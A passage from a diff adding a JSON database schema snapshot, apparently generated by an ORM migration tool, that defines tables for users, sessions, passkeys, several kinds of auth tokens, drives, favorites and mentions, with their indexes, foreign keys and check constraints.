"name": "revokedReason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "replacedByTokenId": { + "name": "replacedByTokenId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "device_tokens_user_id_idx": { + "name": "device_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "device_tokens_token_hash_idx": { + "name": "device_tokens_token_hash_idx", + "columns": [ + { + "expression": "tokenHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "device_tokens_device_id_idx": { + "name": "device_tokens_device_id_idx", + "columns": [ + { + "expression": "deviceId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "device_tokens_expires_at_idx": { + "name": "device_tokens_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "device_tokens_active_device_idx": { + "name": "device_tokens_active_device_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deviceId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "platform", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"device_tokens\".\"revokedAt\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "device_tokens_userId_users_id_fk": { + "name": "device_tokens_userId_users_id_fk", + "tableFrom": "device_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "device_tokens_tokenHash_unique": { + "name": "device_tokens_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.email_unsubscribe_tokens": { + "name": "email_unsubscribe_tokens", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token_prefix": { + "name": "token_prefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "notification_type": { + "name": "notification_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "used_at": { + "name": "used_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "email_unsubscribe_tokens_token_hash_idx": { + "name": "email_unsubscribe_tokens_token_hash_idx", + "columns": [ + { + "expression": "token_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "email_unsubscribe_tokens_user_id_idx": { + "name": "email_unsubscribe_tokens_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "email_unsubscribe_tokens_expires_at_idx": { + "name": "email_unsubscribe_tokens_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "email_unsubscribe_tokens_user_id_users_id_fk": { + "name": "email_unsubscribe_tokens_user_id_users_id_fk", + "tableFrom": "email_unsubscribe_tokens", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "email_unsubscribe_tokens_token_hash_unique": { + "name": "email_unsubscribe_tokens_token_hash_unique", + "nullsNotDistinct": false, + "columns": [ + "token_hash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.mcp_tokens": { + "name": "mcp_tokens", + "schema": "", + "columns": { + "authenticatedAt": { + "name": "authenticatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authenticationAssurance": { + "name": "authenticationAssurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenPrefix": { + "name": "tokenPrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "isScoped": { + "name": "isScoped", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "lastUsed": { + "name": "lastUsed", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "mcp_tokens_user_id_idx": { + "name": "mcp_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "mcp_tokens_token_hash_idx": { + "name": "mcp_tokens_token_hash_idx", + "columns": [ + { + "expression": "tokenHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "mcp_tokens_userId_users_id_fk": { + "name": "mcp_tokens_userId_users_id_fk", + "tableFrom": "mcp_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "mcp_tokens_tokenHash_unique": { + "name": "mcp_tokens_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.passkeys": { + "name": "passkeys", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "credential_id": { + "name": "credential_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "public_key": { + "name": "public_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "counter": { + "name": "counter", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "device_type": { + "name": "device_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "transports": { + "name": "transports", + "type": "text[]", + "primaryKey": false, + "notNull": false + }, + "backed_up": { + "name": "backed_up", + "type": "boolean", + "primaryKey": false, + "notNull": false, + "default": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "passkeys_user_id_idx": { + "name": "passkeys_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "passkeys_credential_id_idx": { + "name": "passkeys_credential_id_idx", + "columns": [ + { + "expression": "credential_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "passkeys_user_id_users_id_fk": { + "name": "passkeys_user_id_users_id_fk", + "tableFrom": "passkeys", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "passkeys_credential_id_unique": { + "name": "passkeys_credential_id_unique", + "nullsNotDistinct": false, + "columns": [ + "credential_id" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.socket_tokens": { + "name": "socket_tokens", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "socket_tokens_user_id_idx": { + "name": "socket_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "socket_tokens_token_hash_idx": { + "name": "socket_tokens_token_hash_idx", + "columns": [ + { + "expression": "tokenHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "socket_tokens_expires_at_idx": { + "name": "socket_tokens_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "socket_tokens_userId_users_id_fk": { + "name": "socket_tokens_userId_users_id_fk", + "tableFrom": "socket_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "socket_tokens_tokenHash_unique": { + "name": "socket_tokens_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.users": { + "name": "users", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "emailBidx": { + "name": "emailBidx", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "emailVerified": { + "name": "emailVerified", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "image": { + "name": "image", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "googleId": { + "name": "googleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "appleId": { + "name": "appleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "AuthProvider", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'email'" + }, + "accountType": { + "name": "accountType", + "type": "AccountType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'human'" + }, + "tokenVersion": { + "name": "tokenVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "role": { + "name": "role", + "type": "UserRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'user'" + }, + "adminRoleVersion": { + "name": "adminRoleVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "currentAiProvider": { + "name": "currentAiProvider", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'zai'" + }, + "currentAiModel": { + "name": "currentAiModel", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'z-ai/glm-5.3-flash'" + }, + "imageGenerationModel": { + "name": "imageGenerationModel", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "storageUsedBytes": { + "name": "storageUsedBytes", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "activeUploads": { + "name": "activeUploads", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastStorageCalculated": { + "name": "lastStorageCalculated", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "stripeCustomerId": { + "name": "stripeCustomerId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "subscriptionTier": { + "name": "subscriptionTier", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'free'" + }, + "tosAcceptedAt": { + "name": "tosAcceptedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "failedLoginAttempts": { + "name": "failedLoginAttempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lockedUntil": { + "name": "lockedUntil", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "suspendedAt": { + "name": "suspendedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "suspendedReason": { + "name": "suspendedReason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "timezone": { + "name": "timezone", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "starterSkillsInstalledAt": { + "name": "starterSkillsInstalledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "onboardingCompletedAt": { + "name": "onboardingCompletedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "users_email_bidx_idx": { + "name": "users_email_bidx_idx", + "columns": [ + { + "expression": "emailBidx", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "users_email_unique": { + "name": "users_email_unique", + "nullsNotDistinct": false, + "columns": [ + "email" + ] + }, + "users_googleId_unique": { + "name": "users_googleId_unique", + "nullsNotDistinct": false, + "columns": [ + "googleId" + ] + }, + "users_appleId_unique": { + "name": "users_appleId_unique", + "nullsNotDistinct": false, + "columns": [ + "appleId" + ] + }, + "users_stripeCustomerId_unique": { + "name": "users_stripeCustomerId_unique", + "nullsNotDistinct": false, + "columns": [ + "stripeCustomerId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "users_personal_subscription_tier": { + "name": "users_personal_subscription_tier", + "value": "\"users\".\"subscriptionTier\" IN ('free', 'pro')" + } + }, + "isRLSEnabled": false + }, + "public.verification_tokens": { + "name": "verification_tokens", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenHash": { + "name": "tokenHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenPrefix": { + "name": "tokenPrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "usedAt": { + "name": "usedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "verification_tokens_user_id_idx": { + "name": "verification_tokens_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "verification_tokens_token_hash_idx": { + "name": "verification_tokens_token_hash_idx", + "columns": [ + { + "expression": "tokenHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "verification_tokens_type_idx": { + "name": "verification_tokens_type_idx", + "columns": [ + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "verification_tokens_userId_users_id_fk": { + "name": "verification_tokens_userId_users_id_fk", + "tableFrom": "verification_tokens", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "verification_tokens_tokenHash_unique": { + "name": "verification_tokens_tokenHash_unique", + "nullsNotDistinct": false, + "columns": [ + "tokenHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.sessions": { + "name": "sessions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "token_hash": { + "name": "token_hash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "token_prefix": { + "name": "token_prefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "device_id": { + "name": "device_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scopes": { + "name": "scopes", + "type": "text[]", + "primaryKey": false, + "notNull": true, + "default": "ARRAY[]::text[]" + }, + "resource_type": { + "name": "resource_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resource_id": { + "name": "resource_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "authenticated_at": { + "name": "authenticated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "authentication_assurance": { + "name": "authentication_assurance", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "token_version": { + "name": "token_version", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "admin_role_version": { + "name": "admin_role_version", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "created_by_service": { + "name": "created_by_service", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_ip": { + "name": "created_by_ip", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "last_used_at": { + "name": "last_used_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "last_used_ip": { + "name": "last_used_ip", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "revoked_at": { + "name": "revoked_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revoked_reason": { + "name": "revoked_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "sessions_user_id_idx": { + "name": "sessions_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sessions_expires_at_idx": { + "name": "sessions_expires_at_idx", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sessions_user_active_idx": { + "name": "sessions_user_active_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "revoked_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "sessions_user_device_idx": { + "name": "sessions_user_device_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "device_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "sessions_user_id_users_id_fk": { + "name": "sessions_user_id_users_id_fk", + "tableFrom": "sessions", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "sessions_token_hash_unique": { + "name": "sessions_token_hash_unique", + "nullsNotDistinct": false, + "columns": [ + "token_hash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drives": { + "name": "drives", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "slug": { + "name": "slug", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "ownerId": { + "name": "ownerId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "DriveKind", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'STANDARD'" + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "orgVisibility": { + "name": "orgVisibility", + "type": "OrgDriveVisibility", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'OPEN'" + }, + "isTrashed": { + "name": "isTrashed", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "trashedAt": { + "name": "trashedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "drivePrompt": { + "name": "drivePrompt", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "publishSubdomain": { + "name": "publishSubdomain", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "homePageId": { + "name": "homePageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "publish_default_og_image_url": { + "name": "publish_default_og_image_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "not_found_page_id": { + "name": "not_found_page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "publish_favicon_url": { + "name": "publish_favicon_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "avatarUrl": { + "name": "avatarUrl", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drives_owner_id_idx": { + "name": "drives_owner_id_idx", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drives_owner_id_slug_key": { + "name": "drives_owner_id_slug_key", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "slug", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drives_owner_home_unique": { + "name": "drives_owner_home_unique", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"drives\".\"kind\" = 'HOME'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "drives_org_slug_unique": { + "name": "drives_org_slug_unique", + "columns": [ + { + "expression": "orgId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "slug", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"drives\".\"orgId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drives_ownerId_users_id_fk": { + "name": "drives_ownerId_users_id_fk", + "tableFrom": "drives", + "tableTo": "users", + "columnsFrom": [ + "ownerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drives_orgId_organizations_id_fk": { + "name": "drives_orgId_organizations_id_fk", + "tableFrom": "drives", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "restrict", + "onUpdate": "no action" + }, + "drives_homePageId_pages_id_fk": { + "name": "drives_homePageId_pages_id_fk", + "tableFrom": "drives", + "tableTo": "pages", + "columnsFrom": [ + "homePageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "drives_not_found_page_id_pages_id_fk": { + "name": "drives_not_found_page_id_pages_id_fk", + "tableFrom": "drives", + "tableTo": "pages", + "columnsFrom": [ + "not_found_page_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drives_publishSubdomain_unique": { + "name": "drives_publishSubdomain_unique", + "nullsNotDistinct": false, + "columns": [ + "publishSubdomain" + ] + } + }, + "policies": {}, + "checkConstraints": { + "drives_home_never_org_check": { + "name": "drives_home_never_org_check", + "value": "\"drives\".\"kind\" <> 'HOME' OR \"drives\".\"orgId\" IS NULL" + }, + "drives_avatar_url_chk": { + "name": "drives_avatar_url_chk", + "value": "\"drives\".\"avatarUrl\" IS NULL OR \"drives\".\"avatarUrl\" ~ ('^/api/drives/' || \"drives\".\"id\" || '/avatar/avatar-[a-z0-9]{1,32}\\.(png|jpg|gif|webp)$')" + }, + "drives_color_chk": { + "name": "drives_color_chk", + "value": "\"drives\".\"color\" IS NULL OR \"drives\".\"color\" IN ('slate', 'red', 'orange', 'amber', 'green', 'teal', 'blue', 'indigo', 'violet', 'pink')" + } + }, + "isRLSEnabled": false + }, + "public.favorites": { + "name": "favorites", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "itemType": { + "name": "itemType", + "type": "FavoriteItemType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'page'" + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "favorites_user_id_page_id_key": { + "name": "favorites_user_id_page_id_key", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "favorites_user_id_drive_id_key": { + "name": "favorites_user_id_drive_id_key", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "favorites_user_id_position_idx": { + "name": "favorites_user_id_position_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "favorites_userId_users_id_fk": { + "name": "favorites_userId_users_id_fk", + "tableFrom": "favorites", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "favorites_pageId_pages_id_fk": { + "name": "favorites_pageId_pages_id_fk", + "tableFrom": "favorites", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "favorites_driveId_drives_id_fk": { + "name": "favorites_driveId_drives_id_fk", + "tableFrom": "favorites", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "favorites_item_type_consistency_chk": { + "name": "favorites_item_type_consistency_chk", + "value": "((\"itemType\" = 'page' AND \"pageId\" IS NOT NULL AND \"driveId\" IS NULL) OR (\"itemType\" = 'drive' AND \"driveId\" IS NOT NULL AND \"pageId\" IS NULL))" + } + }, + "isRLSEnabled": false + }, + "public.mentions": { + "name": "mentions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "sourcePageId": { + "name": "sourcePageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "targetPageId": { + "name": "targetPageId", + "type": "text", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "mentions_source_page_id_target_page_id_key": { + "name": "mentions_source_page_id_target_page_id_key", + "columns": [ + { + "expression": "sourcePageId", + "isExpression": false, + "asc": true, + "nulls": 